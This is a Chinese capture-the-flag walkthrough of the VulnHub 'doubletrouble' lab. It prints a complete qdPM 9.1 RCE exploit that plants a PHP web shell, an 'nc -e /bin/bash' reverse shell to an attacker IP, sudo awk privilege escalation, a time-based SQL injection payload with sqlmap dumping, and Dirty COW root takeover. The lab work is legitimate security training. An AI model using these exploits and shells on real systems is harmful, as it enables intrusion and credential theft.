打靶记录13——doubletrouble

news2024/11/15 12:37:28

靶机:

https://www.vulnhub.com/entry/doubletrouble-1,743/

难度:

目标:

  • 取得两台靶机 root 权限

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • 开源CMS漏洞利用
  • 隐写术
  • 密码爆破
  • GTFObins提权
  • SQL盲注
  • 脏牛提权

学习记录(nc):

nc命令用来传文件,在很多时候传大文件的时候往往比用python来启用HTTP服务来传输的效果更好,而且nc几乎在所有的Linux系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.0.103
image.png
nmap -p22,80 -sV -sC 192.168.0.103
image.png
image.png
image.png
qdPM是一个开源、免费,基于Web的项目管理工具,其实也就是一个cms系统“CMS(Content Management System,内容管理系统)是一种用于创建、管理和修改数字内容的软件应用程序。CMS系统广泛用于网站建设和内容管理,允许用户无需编写代码即可创建和管理网站内容。”

查看release notes,可能会告诉我们它在新版本当中修复了哪些漏洞,然后又增加了哪些新功能,这样就会帮助我们去找到攻击渗透的入口点。
image.png
发现有一个/install路径和/core/cache/qdPM/路径
image.png
image.png
/core/cache/qdPM/路径只能查看到文件名称,无法看到源码
image.png
这里有一个token234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA,收集记录下来
searchsploit qdpm搜索漏洞库,发现9.1版本有RCE远程代码执行漏洞
image.png
把它们复制到当前目录里查看
image.png
发现是同一个CVE漏洞编码,只是使用的Python版本不一样,并且是需要登录之后Authenticated才能够利用成功的,网上搜索这个Web应用程序的默认的账号密码去登录也失败了
image.png
image.png
sudo dirsearch -u http://192.168.0.103/搜索目录,发现一个/secret/路径,有一张图片!
image.png
image.png
steghide info doubletrouble.jpg,查看图片发现能容下4.7K的隐写数据,但是需要密码。
image.png
stegseek --crack doubletrouble.jpg rockyou.txt一秒钟破解出密码92camaro
image.png
stegseek --crack doubletrouble.jpg rockyou.txt -xf file将隐写内容提取出来并命名为file,查看file文件获得账号密码otisrush@localhost.com``otis666
image.png
用这个账号密码成功登录Web应用的后台,那么我们就可以利用刚刚的两个python脚本来进行漏洞的利用了。
image.png
mousepad 50175.py编辑一下这个文件,里面的很多处的代码缩进有问题,需要手动修改一下
image.png
修改好之后的代码应该是这样的

# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution

#!/usr/bin/python3

import sys
import requests
from lxml import html
from argparse import ArgumentParser

session_requests = requests.session()

def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    return request_1


def req(userid, username, csrftoken_, EMAIL, HOSTNAME):
    request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess')
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_1)
    request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess')
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php',
                         '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
                         , 'application/octet-stream'),
        }
    upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)


def main(HOSTNAME, EMAIL, PASSWORD):
    url = HOSTNAME + '/index.php/login'
    result = session_requests.get(url)
    #print(result.text)
    login_tree = html.fromstring(result.text)
    authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]
    payload = {'login[email]': EMAIL, 'login[password]': PASSWORD, 'login[_csrf_token]': authenticity_token}
    result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))
    # The designated admin account does not have a myAccount page
    account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')
    account_tree = html.fromstring(account_page.content)
    userid = account_tree.xpath("//input[@name='users[id]']/@value")
    username = account_tree.xpath("//input[@name='users[name]']/@value")
    csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
    req(userid, username, csrftoken_, EMAIL, HOSTNAME)
    get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
    final_tree = html.fromstring(get_file.content)
    backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value")
    print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' + backdoor[-1] + '?cmd=whoami')


if __name__ == '__main__':
    print("You are not able to use the designated admin account because they do not have a myAccount page.\n")
    parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')
    parser.add_argument('-url', '--host', dest='hostname', help='Project URL')
    parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')
    parser.add_argument('-p', '--password', dest='password', help='User password')
    args = parser.parse_args()
    # Added detection if the arguments are passed and populated, if not display the arguments
    if  (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):
            main(args.hostname, args.email, args.password)
    else:
        parser.print_help()

python3 50175.py可以正常运行了,那么给它加上参数来使用
image.png
python3 50175.py -url http://192.168.0.103/ -u otisrush@localhost.com -p otis666成功创建了一个后门文件,上传了一个Webshell
image.png
image.png
成功的任意命令执行
image.png

反弹shell

?cmd=which nc发现存在nc命令
image.png
?cmd=nc -e /bin/bash 192.168.0.101 4444反弹shell
image.png
python3 -c "import pty;pty.spawn('/bin/bash')"升级一下shell
image.png

提权

sudo -l
image.png
https://gtfobins.github.io/gtfobins/awk/#sudo可以用Gtfobins来提权
image.png
sudo awk 'BEGIN {system("/bin/bash")}'幸福来得太突然,成功获取root权限!
image.png
/root目录发现第二个ova格式的文件,那需要把它下载下来再导入VirtualBox当中
image.png

学习记录(nc):

nc命令用来传文件,在很多时候传大文件的时候往往比用python来启用HTTP服务来传输的效果更好,而且nc几乎在所有的Linux系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件

nc -lvnp 4444 > second.ova首先在kali启动侦听,准备接收文件

然后在靶机nc 192.168.0.101 4444 < doubletrouble.ova -w 1传输文件,-w 1参数的意思是当文件传输完毕之后隔一秒钟就断开连接

md5sum second.ova传输完成之后检查md5是否一致,一致就说明文件没有经过任何修改
image.png
image.png
那么接下来就把它导入到VirtualBox当中去
image.png

第二次主机发现

sudo arp-scan -l发现它的IP地址192.168.0.104
image.png

第二次端口扫描和服务发现

sudo nmap -p- 192.168.0.104
image.png
sudo nmap -p22,80 -sV -sC 192.168.0.104
image.png
首先对80端口发起攻击,发现页面挺简单的,一个登录框
image.png
万能密码无法绕过来进行登录,源码也没有有价值的信息
sudo dirsearch -u http://192.168.0.104/尝试进行目录扫描,发现有/cgi-bin/
image.png
然后sudo dirsearch -u http://192.168.0.104/cgi-bin/ -f -e cgi,sh对这个目录进行扫描,看看有没有破壳漏洞,但是一无所获
image.png
那还是把目光放到唯一的登录页面上去吧,启动BurpSuite在登录的时候抓包

SQL盲注(时间盲注)

输入payloaduname=' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
这段代码实际上是一个SQL注入(SQL Injection)的payload,用于测试或利用数据库查询的漏洞。具体来说,这是一个时间盲注(Time-based Blind SQL Injection)的示例。在这种注入类型中,攻击者通过使数据库服务器延迟响应来推断出有关数据库的信息。

代码解析

' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#

让我们逐步分解这一段代码:

  1. **起始单引号 ****'**
    • 这一部分通常是用来结束原本的SQL语句的字符串部分的。例如,如果原SQL查询是:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'

注入攻击会这样插入单引号,使其变成:

SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
  1. AND
    • 这个逻辑运算符用来添加一个新的条件到原本的SQL查询中。
  2. (SELECT x FROM (SELECT (SLEEP(10)))XZ)
    • 这是一个子查询。让我们进一步分解:
      • (SELECT (SLEEP(10)))
        • 这部分是一个内嵌子查询。SLEEP(10)是一个数据库函数,通常用于让数据库服务器暂停执行10秒。这个函数在MySQL和一些其他数据库中都有类似的功能。
      • (SELECT x FROM … XZ)
        • 这个外层的SELECT语句尝试从内嵌子查询的结果中选择一个字段(x),并将结果命名为XZ
  3. #
    • 这是SQL中的注释符号,表示后面的内容都是注释,不会被执行。这可以帮助攻击者忽略掉后面的代码,防止引起语法错误。

最终结果

将这段注入代码插入到原来的查询中,例如:

SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#

这会导致数据库服务器执行如下操作:

  1. 查询用户表(users),查找用户名为’admin’且密码为空的记录。
  2. 同时,执行子查询 (SELECT x FROM (SELECT (SLEEP(10)))XZ)
  3. 由于 SLEEP(10) 函数的存在,数据库服务器会暂停执行10秒。
  4. 如果数据库服务器响应时间的延迟符合预期,攻击者可以推断出注入点是可行的。

应用情境

这种时间盲注技术通常用于:

  • 确认注入点:通过观察响应时间的延迟,攻击者可以确认注入点是否存在。
  • 提取数据:在更复杂的情况下,攻击者可以通过多次注入、观察响应时间,逐步提取出数据库中的敏感信息。

image.png
发现服务器确实10s之后才响应,说明SLEEP(10)函数被数据库给执行了,这样就可以基于这个时间去尝试问服务器,说你的当前数据库的名称的第一个字母是不是a,是不是b,是不是c…挨个字符来进行探测,经过大量的同步的探测,就可以在指定的时间范围之内,把目标系统所有的数据库的信息等等其他的库名,表名等内容全都给它榨取,提取出来。

把相同的payload放到psw里也是一样的延迟几秒才响应。
psw=' AND(SELECT x FROM (SELECT (SLEEP(5)))XZ)#
image.png
把前面的数据包保存为1.txt,让sqlmap去跑``
image.png
跑出来是mysql数据库了
image.png
接下来爆库sqlmap -r 1.txt -p uname --dbms mysql --dbs

  1. **-p uname**
    • 指定注入点参数。在这个例子中,uname 是要测试SQL注入漏洞的参数。例如,如果HTTP请求包含uname=adminsqlmap 将尝试在这个参数的位置进行SQL注入。
  2. **--dbms mysql**
    • 明确指定目标数据库管理系统为MySQL。这可以帮助sqlmap优化注入测试,因为不同的DBMS有不同的SQL语法和功能。
  3. **--dbs**
    • 命令sqlmap列出目标数据库管理系统中的所有数据库。这个选项用于在确认存在SQL注入漏洞后,枚举数据库。

发现两个数据库doubletroubleinformation_schema
image.png
接下来爆表sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble --tables
发现一个表users
image.png
接下来爆列名sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --columns
发现password``username这两列
image.png
那我们不管了直接dump下来
sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --dump
image.png
获得两对账号密码:

  • montreux``GfsZxc1
  • ZubZub99``clapton

用这些个账号密码登录Web页面失败,但是想起前面信息收集端口扫描的时候,发现22端口是开放的,管理员可能会对账号密码进行复用
ssh clapton@192.168.0.104登录,使用密码ZubZub99成功登录
image.png

提权(脏牛漏洞):

uname -a发现内核版本是3.2.0
image.png
利用ncexp传输过去
image.png
image.png
gcc -pthread exp.c -o exp -lcrypt在靶机生成一个exp可执行文件

命令解析

  1. **gcc**
    • GNU编译器集合(GNU Compiler Collection)。这是用于编译C和C++代码的编译器。
  2. **-pthread**
    • 这个选项告诉编译器使用POSIX线程库(pthread)。这是线程编程时常用的库,允许程序创建和控制多个线程。
  3. **exp.c**
    • 源代码文件名。这个文件包含了C语言编写的代码。
  4. **-o exp**
    • 指定输出文件名为 exp。编译后的可执行文件将被命名为 exp。如果没有这个选项,默认输出文件名为 a.out
  5. **-lcrypt**
    • 这个选项告诉编译器链接crypt库。crypt是一个用于加密的库,通常用于处理密码加密和解密。在一些系统中,它可能是libcrypt.solibcrypt.a

chmod +x exp赋予可执行权限
./exp pass设置密码为pass
根据脏牛漏洞的利用代码,一旦我们执行./exp pass,它就会使用一个叫firefart的账号来替换目标操作系统的root账号,并拥有root账号的uid``gid以及所有的权限,然后会自动备份一下当前操作系统的/etc/passwd文件到/tmp/passwd.bak,如下图所示。
image.png
ssh firefart@192.168.0.104登录目标系统
image.png
如果是一次护网比赛,或者是一次授权的渗透项目的话,推荐将/tmp目录下已经备份的passwd.bak这个文件给它重新覆盖回原来的/etc/passwd文件,这样做的目的是还原操作系统原来就拥有的其它那些账号以及原来的root账号本身。
cp /tmp/passwd.bak /etc/passwd拷贝回来之后
passwd重新设置root账号的密码为123456
image.png
退出出来之后下一次我就可以不再需要重复的去激活触发它的脏牛漏洞,而是直接使用root账号来进行登录
ssh root@192.168.0.104
image.png
查看/root目录下的文件,logdel2看起来是一个日志清理的脚本,我们不关心它。
image.png
查看root.txt这个flag文件,打靶完毕!
image.png

完毕!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2056980.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CSP-CCF 202305-1 重复局面

一、问题描述 【题目背景】 国际象棋在对局时&#xff0c;同一局面连续或间断出现3次或3次以上&#xff0c;可由任意一方提出和棋。 【问题描述】 国际象棋每一个局面可以用大小为 88 的字符数组来表示&#xff0c;其中每一位对应棋盘上的一个格子。六种棋子王、后、车、象、…

STL六大组件

STL&#xff08;Standard Template Library&#xff0c;标准模板库&#xff09;是C标准库的一部分&#xff0c;提供了丰富且高效的数据结构和算法。STL主要由6大组件构成&#xff0c;分别是容器、算法、迭代器、适配器、仿函数和空间配置器。 容器&#xff08;Containers&#…

Midjourney进阶-反推与优化提示词(案例实操)

​ Midjourney中提示词是关键&#xff0c;掌握提示词的技巧直接决定了生成作品的质量。 当你看到一张不错的图片&#xff0c;想要让Midjourney生成类似的图片&#xff0c;却不知道如何描述画面撰写提示词&#xff0c;这时候Midjourney的/describe指令&#xff0c;正是帮助你推…

AIoTedge边缘计算平台V1.0版本发布

AIoTedge边缘计算平台V1.0&#xff0c;一款创新的AIoT解决方案&#xff0c;现已正式发布。该产品集成了NodeRED软网关、边缘物联网平台和边缘AI能力&#xff0c;为企业提供强大的边云协同能力。它支持设备管理和泛协议接入&#xff0c;确保不同设备间的无缝连接。AIoTedgeV1.0还…

SQL-事务与并发问题

在数据库管理系统中&#xff0c;事务是一个重要的概念&#xff0c;它确保了一组数据库操作要么全部成功&#xff0c;要么全部失败&#xff0c;从而维护数据的完整性和一致性。随着多个用户同时访问数据库&#xff0c;事务的并发处理变得尤为重要。 1. 事务的定义 事务是指一组…

一文读懂推荐系统

随着互联网的飞速发展&#xff0c;信息过载已经成为了一个普遍的问题。我们每天都要面对大量的内容&#xff0c;却很难找到真正符合自己兴趣和需求的信息。这时&#xff0c;推荐系统应运而生&#xff0c;它能够根据用户的兴趣和行为&#xff0c;智能地推荐相关内容&#xff0c;…

​与辉同行2日破亿,打工就是在浪费生命,真让罗永浩说对了!​

去年东方甄选的小作文事件发生之后 罗永浩就鼓励董宇辉出来单干还发表了惊天言论&#xff0c;“打工就是在浪费生命” 董宇辉接手“与辉同行”公司后&#xff0c;两天直播总销售额就已经超过了1亿元 难道真让罗永浩说对了&#xff0c;打工就是在浪费生命吗&#xff1f; 打工…

20240819解决飞凌的OK3588-C的核心板的适配以太网卡RTL8211F-CG在百兆模式下通过交换机上外网

20240819解决飞凌的OK3588-C的核心板的适配以太网卡RTL8211F-CG在百兆模式下通过交换机上外网 2024/8/19 18:00 缘由&#xff1a;由于自制的飞凌的OK3588-C的核心板的底板对空间要求高/敏感&#xff0c;并且对网速要求不高&#xff0c;百兆即可满足要求。 也就直接使用千兆网卡…

质量体系 | 这些医疗器械质量管理标准/法规有什么区别?

在医疗器械行业中&#xff0c;确保产品质量和安全至关重要&#xff0c;而ISO 9001、ISO 13485、GMP、中国《医疗器械生产质量管理规范》和QS820等标准/法规为行业提供了明确的指导。 ISO9001 ISO9001:2015 Quality management systems-Requirements&#xff08;质量管理体系要…

通过ros2服务来控制程序的启动和关闭

运行handle.py程序&#xff0c;启动服务节点&#xff0c;调用服务节点控制程序的启动和关闭&#xff0c;本例为启动和关闭一个python程序&#xff08;每隔一秒打印hello,world&#xff09;&#xff0c;运行截图如下: 一、创建服务节点 handle.py import rclpy from rclpy.no…

无人机之航拍挑选注意事项

航拍无人机的挑选&#xff0c;主要从安全稳定、航拍画质、云台防抖、图传距离、续航时间等因素来考虑。 一、安全稳定 安全稳定性&#xff0c;是我们选择航拍无人机的首要参考标准。毕竟再好的镜头、再好的外形设计、再好的航拍功能&#xff0c;如果没有安全稳定的飞行&#x…

【若依 - 前后端不分离版】SysCaptchaController 详解:生成与处理验证码

文章目录 一、SysCaptchaController 类概述1. 类的功能2. 主要功能 二、验证码生成流程1. 接口定义2. 代码流程解析2.1. 设置响应头2.2. 生成验证码2.3. 存储验证码2.4. 返回验证码图片 三、处理异常和流关闭1. 异常处理2. 流关闭 四、实际应用中的验证码处理1. 验证码生成和展…

【数模修炼之旅】05 拟合模型 深度解析(教程+代码)

【数模修炼之旅】05 拟合模型 深度解析&#xff08;教程代码&#xff09; 接下来 C君将会用至少30个小节来为大家深度解析数模领域常用的算法&#xff0c;大家可以关注这个专栏&#xff0c;持续学习哦&#xff0c;对于大家的能力提高会有极大的帮助。 1 拟合模型介绍及应用 …

无缝融入,即刻智能[三]:Dify-LLM平台知识库构建(多路召回、精排重排),43K+星标见证专属智能方案

无缝融入,即刻智能[三]:Dify-LLM平台知识库构建(多路召回、精排重排),43K+星标见证专属智能方案 大语言模型的训练数据一般基于公开的数据,且每一次训练需要消耗大量算力,这意味着模型的知识一般不会包含私有领域的知识,同时在公开知识领域存在一定的滞后性。为了解决这一…

SSM学生社团管理系统—计算机毕业设计源码20360

目 录 摘要 1 绪论 1.1 研究背景 1.2 研究意义 1.3论文结构与章节安排 2 学生社团管理系统系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1 数据增加流程 2.2.2 数据修改流程 2.2.3 数据删除流程 2.3 系统功能分析 2.3.1 功能性分析 2.3.2 非功能性分析 2.4 系…

python3爬虫(未完结)

一个简单的例子&#xff1a;爬取自己的csdn博客&#xff0c;统计每篇博客的访问量&#xff0c;制作一个柱状图&#xff0c;以访问量从大到小的方式显示。 1. 首先从“个人主页”爬取所有所有文章的链接 1.1 打开个人主页&#xff0c;右键->检查&#xff1a;可以看到每篇文章…

如何使用Java SpringBoot+Vue搭建二手闲置交易系统?

✍✍计算机毕业编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java、…

四步解决国标设备接入问题

用国标协议完成多品牌设备统一接入&#xff0c;是智能设备在多场景应用中都会碰到的安装步骤。国标接入常常过程复杂&#xff0c;这边介绍一种相对简便的方法&#xff0c;用萤石开放平台的“国标设备添加工具”接入 Step1&#xff1a;私信我获取安装包 私信我获取国标设备添加…

Nginx服务器申请及配置免费SSL证书

免费SSL证书申请 背景&#xff1a; 我的情况是这样&#xff0c;域名解析是华为云的&#xff0c;然后免费证书在腾讯云申请。但是大致的配置流程都是一样的 在腾讯云平台申请免费的SSL证明(目前有效期是9天)&#xff0c;申请步骤如下 主要步骤说明 申请免费SSL证书配置证书到域…

自定义变量添加到分机呼叫信息(mod_cti基于FreeSWITCH)

文章目录 前言联系我们添加流程1. 修改cti.json配置2. 配置自动外呼进入排队转坐席3. 变量同步到坐席通道 4. 导入号码添加自定义变量 前言 在默认配置中&#xff0c;分机的呼叫信息会被推送到redis的hash表中&#xff0c;hash表名&#xff1a;calls。我们可以通过修改配置&am…